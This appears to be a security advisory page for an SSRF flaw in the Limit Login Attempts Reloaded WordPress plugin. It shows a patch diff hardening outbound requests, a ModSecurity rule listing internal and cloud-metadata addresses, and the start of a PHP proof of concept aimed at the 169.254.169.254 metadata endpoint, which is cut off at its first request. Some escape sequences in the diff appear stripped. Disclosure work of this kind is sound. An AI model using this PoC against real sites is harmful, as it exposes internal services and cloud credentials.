+		// ::/96 — "this host", loopback and the deprecated IPv4-compatible space.
+		if ( substr( $bin, 0, 12 ) === str_repeat( "", 12 ) ) {
+			return true;
+		}
+
+		// IPv4-mapped ::ffff:0:0/96 wraps an IPv4 address in the last 4 bytes.
+		if ( substr( $bin, 0, 10 ) === str_repeat( "", 10 ) && "xffxff" === substr( $bin, 10, 2 ) ) {
+			return self::is_non_public_ip( inet_ntop( substr( $bin, 12, 4 ) ) );
+		}
+
+		// NAT64 well-known prefix 64:ff9b::/96 wraps an IPv4 address in the last 4 bytes.
+		if ( "x00x64xffx9b" === substr( $bin, 0, 4 )
+			&& substr( $bin, 4, 8 ) === str_repeat( "", 8 ) ) {
+			return self::is_non_public_ip( inet_ntop( substr( $bin, 12, 4 ) ) );
+		}
+
+		// 6to4 2002::/16 embeds the IPv4 address in bytes 2-5.
+		if ( 0x20 === ord( $bin[0] ) && 0x02 === ord( $bin[1] ) ) {
+			return self::is_non_public_ip( inet_ntop( substr( $bin, 2, 4 ) ) );
+		}
+
+		return false;
+	}
+
+	/**
+	 * True when $bin (16-byte IPv6) falls under $prefix/$bits.
+	 *
+	 * @param string $bin
+	 * @param string $prefix IPv6 textual prefix
+	 * @param int    $bits
+	 *
+	 * @return bool
+	 */
+	private static function ipv6_has_prefix( $bin, $prefix, $bits ) {
+
+		$prefix_bin = @inet_pton( $prefix );
+
+		if ( false === $prefix_bin || 16 !== strlen( $bin ) || $bits < 1 || $bits > 128 ) {
+			return false;
+		}
+
+		$bytes = (int) floor( $bits / 8 );
+		$rest  = $bits % 8;
+
+		if ( $bytes > 0 && substr( $bin, 0, $bytes ) !== substr( $prefix_bin, 0, $bytes ) ) {
+			return false;
+		}
+
+		if ( 0 === $rest ) {
+			return true;
+		}
+
+		$mask = ( 0xff << ( 8 - $rest ) ) & 0xff;
+
+		return ( ord( $bin[ $bytes ] ) & $mask ) === ( ord( $prefix_bin[ $bytes ] ) & $mask );
+	}
+
+	/**
+	 * Transport-shaped response for NXDOMAIN / empty resolution.
+	 * No `blocked` flag — CloudApp::setup() treats this as "endpoint is not
+	 * responding", not as a destination-policy violation.
+	 *
+	 * @return array
+	 */
+	private static function unresolvable_response() {
+
+		return array(
+			'data'   => null,
+			'status' => 0,
+			'error'  => 'Could not resolve host.',
+		);
+	}
+}
--- a/limit-login-attempts-reloaded/core/http/HttpDestinationPinTrait.php
+++ b/limit-login-attempts-reloaded/core/http/HttpDestinationPinTrait.php
@@ -0,0 +1,166 @@
+<?php
+
+namespace LLARCoreHttp;
+
+/**
+ * Pin an outbound connection to IPs already validated by
+ * Http::resolve_destination() — closes DNS rebinding between check and
+ * connect.
+ *
+ * - fopen / WP Streams (plain HTTP): IP authority + Host + peer_name.
+ * - Curl / WP+Curl (HTTPS or HTTP): keep hostname URL, pin via
+ *   CURLOPT_RESOLVE (TLS verifies the logical name, not the dial IP).
+ */
+trait HttpDestinationPinTrait {
+
+	/**
+	 * Rewrite the URL host to a validated IP, set Host + TLS peer_name to
+	 * the logical hostname. Prior Host headers are replaced, not appended.
+	 *
+	 * @param string     $url
+	 * @param array      $headers "Name: value" lines
+	 * @param array|null $destination
+	 *
+	 * @return array{0:string,1:array,2:array} request_url, headers, ssl_options
+	 */
+	private function apply_destination_pin( $url, $headers, $destination ) {
+
+		if ( empty( $destination['ips'] ) ) {
+			return array( $url, $headers, array() );
+		}
+
+		$ip          = $this->preferred_ip( $destination['ips'] );
+		$ip_host     = false !== strpos( $ip, ':' ) ? '[' . $ip . ']' : $ip;
+		$request_url = $this->build_pinned_url( $url, $destination, $ip_host );
+
+		$default_port = ( 'https' === $destination['scheme'] ) ? 443 : 80;
+		$port_suffix  = ( (int) $destination['port'] === $default_port ) ? '' : ':' . $destination['port'];
+
+		$headers   = array_values(
+			array_filter(
+				$headers,
+				function ( $header ) {
+					return 0 !== stripos( ltrim( $header ), 'Host:' );
+				}
+			)
+		);
+		$headers[] = 'Host: ' . $destination['host'] . $port_suffix;
+
+		return array( $request_url, $headers, array( 'peer_name' => $destination['host'] ) );
+	}
+
+	/**
+	 * Rebuild the URL authority to the validated destination host/port.
+	 *
+	 * CURLOPT_RESOLVE matches the URL host literally. normalize_host() strips
+	 * trailing dots / case / brackets into destination['host'], so leaving a
+	 * raw FQDN like `evil.com.` in the request URL makes the pin miss and Curl
+	 * re-resolves (DNS rebinding). Aligning the URL host closes that gap while
+	 * keeping a hostname authority for TLS.
+	 *
+	 * @param string     $url
+	 * @param array|null $destination
+	 *
+	 * @return string
+	 */
+	private function align_url_host_with_destination( $url, $destination ) {
+
+		if ( empty( $destination['host'] ) || empty( $destination['scheme'] ) ) {
+			return $url;
+		}
+
+		$host = $destination['host'];
+		if ( filter_var( $host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
+			$host = '[' . $host . ']';
+		}
+
+		return $this->build_pinned_url( $url, $destination, $host );
+	}
+
+	/**
+	 * @param string $url
+	 * @param array  $destination
+	 * @param string $ip_host IPv4, bracketed IPv6, or hostname authority
+	 *
+	 * @return string
+	 */
+	private function build_pinned_url( $url, $destination, $ip_host ) {
+
+		$parsed       = wp_parse_url( $url );
+		$scheme       = $destination['scheme'];
+		$default_port = ( 'https' === $scheme ) ? 443 : 80;
+		$authority    = $ip_host;
+
+		if ( (int) $destination['port'] !== $default_port ) {
+			$authority .= ':' . $destination['port'];
+		}
+
+		$out = $scheme . '://' . $authority;
+
+		if ( is_array( $parsed ) ) {
+			if ( ! empty( $parsed['path'] ) ) {
+				$out .= $parsed['path'];
+			}
+			if ( isset( $parsed['query'] ) ) {
+				$out .= '?' . $parsed['query'];
+			}
+			if ( isset( $parsed['fragment'] ) ) {
+				$out .= '#' . $parsed['fragment'];
+			}
+		}
+
+		return $out;
+	}
+
+	/**
+	 * IPv4 first (fewer TLS/routing surprises), any validated address otherwise.
+	 *
+	 * @param array $ips
+	 *
+	 * @return string
+	 */
+	private function preferred_ip( $ips ) {
+
+		foreach ( $ips as $ip ) {
+			if ( false === strpos( $ip, ':' ) ) {
+				return $ip;
+			}
+		}
+
+		return reset( $ips );
+	}
+
+	/**
+	 * CURLOPT_RESOLVE entries for a validated destination.
+	 * IPv6 addresses must be bracketed (host:port:[addr]), otherwise curl
+	 * misparses the address and the pin is ineffective. Hostname stays in the
+	 * request URL so TLS verifies the certificate against the logical name.
+	 *
+	 * @param array|null $destination
+	 *
+	 * @return array
+	 */
+	private function build_curl_resolve( $destination ) {
+
+		if ( empty( $destination['ips'] ) || empty( $destination['host'] ) ) {
+			return array();
+		}
+
+		// Literal IP hosts need no RESOLVE — the URL already targets that address.
+		if ( filter_var( $destination['host'], FILTER_VALIDATE_IP ) ) {
+			return array();
+		}
+
+		$resolve = array();
+		$host    = $destination['host'];
+
+		// Curl expects bracketed host labels for IPv6-looking names in RESOLVE
+		// when the URL host is bracketed; our normalize_host strips brackets.
+		foreach ( $destination['ips'] as $ip ) {
+			$pinned    = ( false !== strpos( $ip, ':' ) ) ? '[' . $ip . ']' : $ip;
+			$resolve[] = $host . ':' . $destination['port'] . ':' . $pinned;
+		}
+
+		return $resolve;
+	}
+}
--- a/limit-login-attempts-reloaded/core/http/HttpRedirectFollowerTrait.php
+++ b/limit-login-attempts-reloaded/core/http/HttpRedirectFollowerTrait.php
@@ -0,0 +1,230 @@
+<?php
+
+namespace LLARCoreHttp;
+
+/**
+ * Shared manual redirect follower for transports that must not rely on
+ * opaque auto-follow (stream wrapper / wp_remote_* / curl FOLLOWLOCATION).
+ *
+ * Using class must implement single_request() with the same signature and
+ * return either `location` or `raw_headers` (fopen-style) on 3xx responses.
+ */
+trait HttpRedirectFollowerTrait {
+
+	/**
+	 * Follow up to 5 redirects (WP_Http default). Every Location hop is
+	 * re-resolved through Http::resolve_destination() and re-pinned by the
+	 * transport's single_request().
+	 *
+	 * @param string     $url
+	 * @param string     $method
+	 * @param array      $headers
+	 * @param array      $data
+	 * @param int        $timeout
+	 * @param array|null $destination validated destination from Http::resolve_destination()
+	 *
+	 * @return array
+	 */
+	private function request( $url, $method, $headers = array(), $data = array(), $timeout = self::DEFAULT_TIMEOUT, $destination = null ) {
+
+		$method = strtoupper( trim( $method ) );
+
+		if ( empty( $destination ) ) {
+			$destination = Http::resolve_destination( $url );
+
+			if ( null === $destination ) {
+				return array(
+					'data'   => null,
+					'status' => 0,
+					'error'  => 'Could not resolve host.',
+				);
+			}
+
+			if ( false === $destination ) {
+				return Http::policy_rejection( 'Destination rejected by the outbound URL policy.' );
+			}
+		}
+
+		$visited = array();
+
+		for ( $redirects = 0; $redirects <= 5; $redirects++ ) {
+
+			$key = $this->redirect_key( $url );
+
+			if ( isset( $visited[ $key ] ) ) {
+				return array(
+					'data'   => null,
+					'status' => 0,
+					'error'  => 'Redirect loop detected.',
+				);
+			}
+
+			$visited[ $key ] = true;
+
+			$response = $this->single_request( $url, $method, $headers, $data, $timeout, $destination );
+			$status   = (int) $response['status'];
+
+			$is_redirect = in_array( $status, array( 301, 302, 303, 307, 308 ), true );
+			$location    = null;
+
+			if ( $is_redirect ) {
+				if ( ! empty( $response['location'] ) && is_string( $response['location'] ) ) {
+					$location = $response['location'];
+				} elseif ( ! empty( $response['raw_headers'] ) ) {
+					$location = $this->find_header( $response['raw_headers'], 'Location' );
+				}
+			}
+
+			unset( $response['location'], $response['raw_headers'] );
+
+			// Leading backslash: transports live in LLARCoreHttp — bare
+			// WP_Http would resolve to LLARCoreHttpWP_Http and fatal.
+			if ( ! $location || ! class_exists( 'WP_Http' ) ) {
+				return $response;
+			}
+
+			$next = WP_Http::make_absolute_url( $location, $url );
+
+			if ( ! $next ) {
+				return Http::policy_rejection( 'Redirect target rejected by the outbound URL policy.' );
+			}
+
+			$next_key = $this->redirect_key( $next );
+
+			if ( isset( $visited[ $next_key ] ) ) {
+				return array(
+					'data'   => null,
+					'status' => 0,
+					'error'  => 'Redirect loop detected.',
+				);
+			}
+
+			// Re-resolve (not just re-validate): every hop is pinned to its
+			// own validated IPs, so a redirect cannot rebind into a private
+			// address either.
+			$next_destination = Http::resolve_destination( $next );
+
+			if ( null === $next_destination ) {
+				return array(
+					'data'   => null,
+					'status' => 0,
+					'error'  => 'Could not resolve host.',
+				);
+			}
+
+			if ( false === $next_destination ) {
+				return Http::policy_rejection( 'Redirect target rejected by the outbound URL policy.' );
+			}
+
+			if ( $this->url_host( $next ) !== $this->url_host( $url ) ) {
+				$headers = $this->strip_sensitive_headers( $headers );
+			}
+
+			// 301/302/303 downgrade POST to GET (browser and WP semantics);
+			// 307/308 preserve the method and the body.
+			if ( 'POST' === $method && in_array( $status, array( 301, 302, 303 ), true ) ) {
+				$method  = 'GET';
+				$data    = array();
+				$headers = array_values(
+					array_filter(
+						$headers,
+						function ( $header ) {
+							return 0 !== stripos( $header, 'Content-Type' );
+						}
+					)
+				);
+			}
+
+			$url         = $next;
+			$destination = $next_destination;
+		}
+
+		return array(
+			'data'   => null,
+			'status' => 0,
+			'error'  => 'Too many redirects.',
+		);
+	}
+
+	/**
+	 * Normalized redirect identity: scheme/host/port/path/query, no fragment.
+	 *
+	 * @param string $url
+	 *
+	 * @return string
+	 */
+	private function redirect_key( $url ) {
+
+		$parsed = wp_parse_url( $url );
+
+		if ( ! is_array( $parsed ) || empty( $parsed['host'] ) ) {
+			return (string) $url;
+		}
+
+		$scheme = isset( $parsed['scheme'] ) ? strtolower( $parsed['scheme'] ) : 'http';
+		$host   = Http::normalize_host( $parsed['host'] );
+		$port   = isset( $parsed['port'] ) ? (int) $parsed['port'] : ( 'https' === $scheme ? 443 : 80 );
+		$path   = isset( $parsed['path'] ) ? $parsed['path'] : '';
+		$query  = isset( $parsed['query'] ) ? $parsed['query'] : '';
+
+		return $scheme . '://' . $host . ':' . $port . $path . ( '' !== $query ? '?' . $query : '' );
+	}
+
+	/**
+	 * @param string $url
+	 *
+	 * @return string
+	 */
+	private function url_host( $url ) {
+
+		$host = wp_parse_url( $url, PHP_URL_HOST );
+
+		return is_string( $host ) ? Http::normalize_host( $host ) : '';
+	}
+
+	/**
+	 * Drop credential-bearing headers before a cross-host redirect hop.
+	 *
+	 * @param array $headers
+	 *
+	 * @return array
+	 */
+	private function strip_sensitive_headers( $headers ) {
+
+		$sensitive = array( 'authorization', 'cookie' );
+
+		return array_values(
+			array_filter(
+				$headers,
+				function ( $header ) use ( $sensitive ) {
+					$name = strtolower( trim( strtok( $header, ':' ) ) );
+
+					return ! in_array( $name, $sensitive, true );
+				}
+			)
+		);
+	}
+
+	/**
+	 * Case-insensitive lookup of a response header value (fopen raw_headers).
+	 *
+	 * @param array  $raw_headers
+	 * @param string $name
+	 *
+	 * @return string|null
+	 */
+	private function find_header( $raw_headers, $name ) {
+
+		$name = strtolower( trim( $name ) );
+
+		foreach ( (array) $raw_headers as $header ) {
+			$pos = strpos( $header, ':' );
+
+			if ( false !== $pos && strtolower( trim( substr( $header, 0, $pos ) ) ) === $name ) {
+				return trim( substr( $header, $pos + 1 ) );
+			}
+		}
+
+		return null;
+	}
+}
--- a/limit-login-attempts-reloaded/core/http/HttpTransportCurl.php
+++ b/limit-login-attempts-reloaded/core/http/HttpTransportCurl.php
@@ -5,6 +5,7 @@
 class HttpTransportCurl implements HttpTransportInterface {

 	use HttpTimeoutTrait;
+	use HttpDestinationPinTrait;

 	/**
 	 * @param $url
@@ -14,14 +15,16 @@
 	 */
 	public function get( $url, $options = array() ) {

-		if( !empty( $options['data'] ) ) {
+		if ( ! empty( $options['data'] ) ) {
 			$query_str = http_build_query( $options['data'] );
-			$url .= "?{$query_str}";
+			$url      .= "?{$query_str}";
 		}

-		$headers = !empty( $options['headers'] ) ? $options['headers'] : array();
+		$headers = ! empty( $options['headers'] ) ? $options['headers'] : array();

-		return $this->request( $url, 'GET', $headers, array(), $this->resolve_timeout( $options ) );
+		$destination = ! empty( $options['destination'] ) ? $options['destination'] : null;
+
+		return $this->request( $url, 'GET', $headers, array(), $this->resolve_timeout( $options ), $destination );
 	}

 	/**
@@ -32,10 +35,12 @@
 	 */
 	public function post( $url, $options = array() ) {

-		$headers = !empty( $options['headers'] ) ? $options['headers'] : array();
-		$data = !empty( $options['data'] ) ? $options['data'] : array();
+		$headers = ! empty( $options['headers'] ) ? $options['headers'] : array();
+		$data    = ! empty( $options['data'] ) ? $options['data'] : array();
+
+		$destination = ! empty( $options['destination'] ) ? $options['destination'] : null;

-		return $this->request( $url, 'POST', $headers, $data, $this->resolve_timeout( $options ) );
+		return $this->request( $url, 'POST', $headers, $data, $this->resolve_timeout( $options ), $destination );
 	}

 	/**
@@ -44,44 +49,80 @@
 	 * @param array $headers
 	 * @param array $data
 	 * @param int $timeout
+	 * @param array|null $destination validated destination from Http::resolve_destination()
 	 *
 	 * @return array
 	 */
-	private function request( $url, $method, $headers = array(), $data = array(), $timeout = self::DEFAULT_TIMEOUT ) {
+	private function request( $url, $method, $headers = array(), $data = array(), $timeout = self::DEFAULT_TIMEOUT, $destination = null ) {
+
+		// Align URL host to the validated/normalized destination host so
+		// CURLOPT_RESOLVE cannot miss on trailing-dot FQDNs (evil.com.).
+		if ( ! empty( $destination['host'] ) ) {
+			$url = $this->align_url_host_with_destination( $url, $destination );
+		}

 		$handle = curl_init( $url );
-
+
 		curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
 		curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout );
 		curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout );
+		// Explicit: never follow redirects. CURLOPT_RESOLVE only pins the
+		// original host; a followed Location could land on a private IP.
+		curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false );
+
+		// Pin the connection to an address that was validated above instead
+		// of letting curl resolve the name again (DNS rebinding).
+		$resolve = $this->build_curl_resolve( $destination );
+		if ( ! empty( $resolve ) ) {
+			curl_setopt( $handle, CURLOPT_RESOLVE, $resolve );
+		}

-		if( $method === 'POST' ) {
+		if ( 'POST' === $method ) {
 			$request_data = ! empty( $data ) ? Http::encode_payload( $data ) : null;

 			// Unserialisable payload (e.g. invalid UTF-8 from request headers):
 			// fail the request instead of sending it out with an empty body.
 			if ( ! empty( $data ) && false === $request_data ) {
+				curl_close( $handle );
+
 				return Http::encoding_failure_response();
 			}

-			curl_setopt($handle, CURLOPT_POST, true);
-			curl_setopt($handle, CURLOPT_POSTFIELDS, $request_data );
+			curl_setopt( $handle, CURLOPT_POST, true );
+			curl_setopt( $handle, CURLOPT_POSTFIELDS, $request_data );
 		}

-		if ( !empty( $headers ) ) {
-			curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
+		if ( ! empty( $headers ) ) {
+			curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers );
 		}

-		$response = curl_exec( $handle );
+		// Capture Location without CURLOPT_HEADER (keeps body clean). Needed
+		// when HttpTransportWp delegates pinned hops into this transport and
+		// still follows redirects via HttpRedirectFollowerTrait.
+		$location = null;
+		curl_setopt(
+			$handle,
+			CURLOPT_HEADERFUNCTION,
+			function ( $ch, $line ) use ( &$location ) {
+				if ( 0 === stripos( $line, 'Location:' ) ) {
+					$location = trim( substr( $line, strlen( 'Location:' ) ) );
+				}
+
+				return strlen( $line );
+			}
+		);
+
+		$response        = curl_exec( $handle );
 		$response_status = curl_getinfo( $handle, CURLINFO_HTTP_CODE );
-		$response_error = ( false === $response ) ? curl_error( $handle ) : null;
+		$response_error  = ( false === $response ) ? curl_error( $handle ) : null;

 		curl_close( $handle );

 		return array(
-			'data'      => $response,
-			'status'    => intval( $response_status ),
-			'error'     => $response_error,
+			'data'     => $response,
+			'status'   => intval( $response_status ),
+			'error'    => $response_error,
+			'location' => ( is_string( $location ) && '' !== $location ) ? $location : null,
 		);
 	}
-}
 No newline at end of file
+}
--- a/limit-login-attempts-reloaded/core/http/HttpTransportFopen.php
+++ b/limit-login-attempts-reloaded/core/http/HttpTransportFopen.php
@@ -5,6 +5,8 @@
 class HttpTransportFopen implements HttpTransportInterface {

 	use HttpTimeoutTrait;
+	use HttpRedirectFollowerTrait;
+	use HttpDestinationPinTrait;

 	/**
 	 * @param $url
@@ -14,14 +16,16 @@
 	 */
 	public function get( $url, $options = array() ) {

-		if( !empty( $options['data'] ) ) {
+		if ( ! empty( $options['data'] ) ) {
 			$query_str = http_build_query( $options['data'] );
-			$url .= "?{$query_str}";
+			$url      .= "?{$query_str}";
 		}

-		$headers = !empty( $options['headers'] ) ? $options['headers'] : array();
+		$headers = ! empty( $options['headers'] ) ? $options['headers'] : array();

-		return $this->request( $url, 'GET', $headers, array(), $this->resolve_timeout( $options ) );
+		$destination = ! empty( $options['destination'] ) ? $options['destination'] : null;
+
+		return $this->request( $url, 'GET', $headers, array(), $this->resolve_timeout( $options ), $destination );
 	}

 	/**
@@ -32,27 +36,30 @@
 	 */
 	public function post( $url, $options = array() ) {

-		$headers = !empty( $options['headers'] ) ? $options['headers'] : array();
-		$data = !empty( $options['data'] ) ? $options['data'] : array();
+		$headers = ! empty( $options['headers'] ) ? $options['headers'] : array();
+		$data    = ! empty( $options['data'] ) ? $options['data'] : array();
+
+		$destination = ! empty( $options['destination'] ) ? $options['destination'] : null;

-		return $this->request( $url, 'POST', $headers, $data, $this->resolve_timeout( $options ) );
+		return $this->request( $url, 'POST', $headers, $data, $this->resolve_timeout( $options ), $destination );
 	}

 	/**
-	 * @param $url
-	 * @param $method
-	 * @param array $headers
-	 * @param array $data
-	 * @param int $timeout
+	 * Single stream request, no redirect following.
+	 *
+	 * @param string     $url
+	 * @param string     $method
+	 * @param array      $headers
+	 * @param array      $data
+	 * @param int        $timeout
+	 * @param array|null $destination validated destination to pin the connection to
 	 *
 	 * @return array
 	 */
-	private function request( $url, $method, $headers = array(), $data = array(), $timeout = self::DEFAULT_TIMEOUT ) {
-
-		$method = strtoupper( trim( $method ) );
+	private function single_request( $url, $method, $headers = array(), $data = array(), $timeout = self::DEFAULT_TIMEOUT, $destination = null ) {

 		$request_data = null;
-		if( !empty( $data ) ) {
+		if ( ! empty( $data ) ) {
 			$request_data = Http::encode_payload( $data );

 			// Unserialisable payload (e.g. invalid UTF-8 from request headers):
@@ -62,45 +69,53 @@
 			}
 		}

-		$context = stream_context_create( array(
-			'http' => array(
-                'method'        => $method,
-                'header'        => implode( "rn", $headers ),
-                'content'       => $request_data,
-                'ignore_errors' => true,
-                'timeout'       => $timeout,
-            )
-		));
+		list( $request_url, $headers, $ssl_options ) = $this->apply_destination_pin( $url, $headers, $destination );
+
+		$context = stream_context_create(
+			array(
+				'http' => array(
+					'method'          => $method,
+					'header'          => implode( "rn", $headers ),
+					'content'         => $request_data,
+					'ignore_errors'   => true,
+					'timeout'         => $timeout,
+					// Redirects are followed manually in request() so that each
+					// hop can be validated — never let the wrapper follow them.
+					'follow_location' => 0,
+				),
+				'ssl'  => $ssl_options,
+			)
+		);

-		$fp = @fopen( $url, 'rb', false, $context );
+		$fp = @fopen( $request_url, 'rb', false, $context );

-		$error = null;
-		$status = null;
+		$error    = null;
+		$status   = null;
 		$response = null;

-		if ( !$fp ) {
+		if ( ! $fp ) {

-			if( !empty( $http_response_header[0] ) ) {
+			if ( ! empty( $http_response_header[0] ) ) {
 				list(, $code, $message ) = explode( ' ', $http_response_header[0], 3 );
-				$error = $message;
-				$status = $code;
+				$error                   = $message;
+				$status                  = $code;

 			} else {
 				$last_err = error_get_last();
-				$error = !empty( $last_err['message'] ) ? $last_err['message'] : 'Unknown error!';
+				$error    = ! empty( $last_err['message'] ) ? $last_err['message'] : 'Unknown error!';
 			}
-
 		} else {
 			list(, $code ) = explode( ' ', $http_response_header[0], 3 );
-			$status = $code;
+			$status        = $code;

 			$response = stream_get_contents( $fp );
 		}

 		return array(
-			'data'      => $response,
-			'status'    => intval( $status ),
-			'error'     => $error
+			'data'        => $response,
+			'status'      => intval( $status ),
+			'error'       => $error,
+			'raw_headers' => isset( $http_response_header ) ? $http_response_header : array(),
 		);
 	}
-}
 No newline at end of file
+}
--- a/limit-login-attempts-reloaded/core/http/HttpTransportWp.php
+++ b/limit-login-attempts-reloaded/core/http/HttpTransportWp.php
@@ -5,6 +5,8 @@
 class HttpTransportWp implements HttpTransportInterface {

 	use HttpTimeoutTrait;
+	use HttpRedirectFollowerTrait;
+	use HttpDestinationPinTrait;

 	/**
 	 * @param $url
@@ -13,13 +15,11 @@
 	 * @return array
 	 */
 	public function get( $url, $options = array() ) {
-		$response = wp_remote_get( $url, array(
-			'headers' 	=> !empty( $options['headers'] ) ? $this->format_headers( $options['headers'] ) : array(),
-			'body' 		=> !empty( $options['data'] ) ? $options['data'] : array(),
-			'timeout' 	=> $this->resolve_timeout( $options ),
-		) );

-		return $this->prepare_response( $response );
+		$headers     = ! empty( $options['headers'] ) ? $options['headers'] : array();
+		$destination = ! empty( $options['destination'] ) ? $options['destination'] : null;
+
+		return $this->request( $url, 'GET', $headers, array(), $this->resolve_timeout( $options ), $destination );
 	}

 	/**
@@ -29,43 +29,146 @@
 	 * @return array
 	 */
 	public function post( $url, $options = array() ) {
-		$body = ! empty( $options['data'] ) ? Http::encode_payload( $options['data'] ) : null;

-		// Unserialisable payload (e.g. invalid UTF-8 from request headers):
-		// fail the request instead of sending it out with an empty body.
-		if ( ! empty( $options['data'] ) && false === $body ) {
-			return Http::encoding_failure_response();
+		$headers     = ! empty( $options['headers'] ) ? $options['headers'] : array();
+		$data        = ! empty( $options['data'] ) ? $options['data'] : array();
+		$destination = ! empty( $options['destination'] ) ? $options['destination'] : null;
+
+		return $this->request( $url, 'POST', $headers, $data, $this->resolve_timeout( $options ), $destination );
+	}
+
+	/**
+	 * Single WP HTTP request, no redirect following.
+	 *
+	 * Pinning strategy (must preserve TLS identity on HTTPS):
+	 * - Hostname destination + Curl available → delegate to HttpTransportCurl
+	 *   (hostname URL + CURLOPT_RESOLVE). Do not rely on WP 6.4+ transport
+	 *   selection / deprecated http_api_transports.
+	 * - Hostname destination + HTTPS + no Curl (Streams-only) → fail closed;
+	 *   Streams cannot set a TLS peer name for an IP-rewritten URL.
+	 * - Hostname destination + HTTP + no Curl → IP URL + Host (fopen-style).
+	 * - Literal IP destination → URL as-is (no DNS rebinding window).
+	 *
+	 * Manual redirect policy lives in HttpRedirectFollowerTrait.
+	 *
+	 * @param string     $url
+	 * @param string     $method
+	 * @param array      $headers
+	 * @param array      $data
+	 * @param int        $timeout
+	 * @param array|null $destination
+	 *
+	 * @return array
+	 */
+	private function single_request( $url, $method, $headers = array(), $data = array(), $timeout = self::DEFAULT_TIMEOUT, $destination = null ) {
+
+		$pinning         = ! empty( $destination['ips'] );
+		$host_is_literal = $pinning && filter_var( $destination['host'], FILTER_VALIDATE_IP );
+		$curl_available  = function_exists( 'curl_init' );
+		$is_https        = ( is_array( $destination ) && ! empty( $destination['scheme'] ) )
+			? ( 'https' === $destination['scheme'] )
+			: ( 0 === stripos( (string) $url, 'https://' ) );
+
+		// Pinned external hostname: own Curl transport guarantees RESOLVE.
+		// WP Requests may pick Streams despite curl_init existing; that would
+		// drop the pin and reopen DNS rebinding.
+		if ( $pinning && ! $host_is_literal && $curl_available ) {
+			$options = array(
+				'headers'     => $headers,
+				'destination' => $destination,
+				'timeout'     => $timeout,
+			);
+
+			if ( 'POST' === $method ) {
+				$options['data'] = $data;
+
+				return ( new HttpTransportCurl() )->post( $url, $options );
+			}
+
+			if ( ! empty( $data ) ) {
+				$options['data'] = $data;
+			}
+
+			return ( new HttpTransportCurl() )->get( $url, $options );
 		}

-		$response = wp_remote_post( $url, array(
-			'headers' 	=> !empty( $options['headers'] ) ? $this->format_headers( $options['headers'] ) : array(),
-			'body' 		=> $body,
-			'timeout' 	=> $this->resolve_timeout( $options ),
-		) );
+		$body = null;

-		return $this->prepare_response( $response );
+		if ( 'POST' === $method ) {
+			$body = ! empty( $data ) ? Http::encode_payload( $data ) : null;
+
+			if ( ! empty( $data ) && false === $body ) {
+				return Http::encoding_failure_response();
+			}
+		} elseif ( ! empty( $data ) ) {
+			$query = http_build_query( $data );
+			$url  .= ( false === strpos( $url, '?' ) ? '?' : '&' ) . $query;
+		}
+
+		$request_url = $url;
+
+		if ( $pinning && ! $host_is_literal ) {
+			if ( $is_https ) {
+				// Streams/fsockopen cannot pin HTTPS safely (no peer_name for
+				// an IP-rewritten URL). Fail closed rather than TOCTOU or
+				// certificate-mismatch against the IP.
+				return array(
+					'data'    => null,
+					'status'  => 0,
+					'error'   => 'Cannot pin HTTPS destination without the Curl transport.',
+					'blocked' => true,
+				);
+			}
+
+			// Plain HTTP over Streams: IP authority + Host is safe (no TLS).
+			list( $request_url, $headers ) = $this->apply_destination_pin( $url, $headers, $destination );
+		}
+
+		$args = array(
+			'method'      => $method,
+			'headers'     => $this->format_headers( $headers ),
+			'body'        => $body,
+			'timeout'     => $timeout,
+			// Never let core follow Location — its validator still allows
+			// link-local metadata on older WordPress.
+			'redirection' => 0,
+		);
+
+		return $this->prepare_response( wp_remote_request( $request_url, $args ) );
 	}

 	/**
-	 * @param $response
+	 * @param mixed $response
 	 *
 	 * @return array
 	 */
 	private function prepare_response( $response ) {

 		$return = array(
-			'data'      => null,
-			'status'    => 0,
-			'error'     => null
+			'data'     => null,
+			'status'   => 0,
+			'error'    => null,
+			'location' => null,
 		);

-		if( is_wp_error( $response ) ) {
+		if ( is_wp_error( $response ) ) {
 			$return['error'] = $response->get_error_message();
-		} else {
-			$return['data'] = wp_remote_retrieve_body( $response );
-			$return['status'] = intval( wp_remote_retrieve_response_code( $response ) );
+
+			return $return;
+		}
+
+		$return['data']     = wp_remote_retrieve_body( $respon

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:2026118439,phase:2,deny,status:403,chain,msg:'CVE-2026-118439 via Limit Login Attempts SSRF',severity:'CRITICAL',tag:'CVE-2026-118439'"
  SecRule ARGS_POST:action "@streq llar_setup_code" "chain"
    SecRule ARGS_POST:setup_code "@rx (?:127.0.0.1|169.254.169.254|10.d{1,3}.d{1,3}.d{1,3}|172.(?:1[6-9]|2d|3[01]).d{1,3}.d{1,3}|192.168.d{1,3}.d{1,3}|[?::1]?|localhost)" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-118439 - Limit Login Attempts Security < 3.4.2 - Authenticated (Administrator+) SSRF

// Configuration
$target_url = 'http://victim-wordpress.local'; // WordPress site URL
$admin_user = 'admin'; // Administrator username
$admin_pass = 'password'; // Administrator password
$internal_url = 'http://169.254.169.254/latest/meta-data/'; // Target internal URL (cloud metadata)

// Step 1: Authenticate as administrator to obtain cookies
$ch = curl_init();
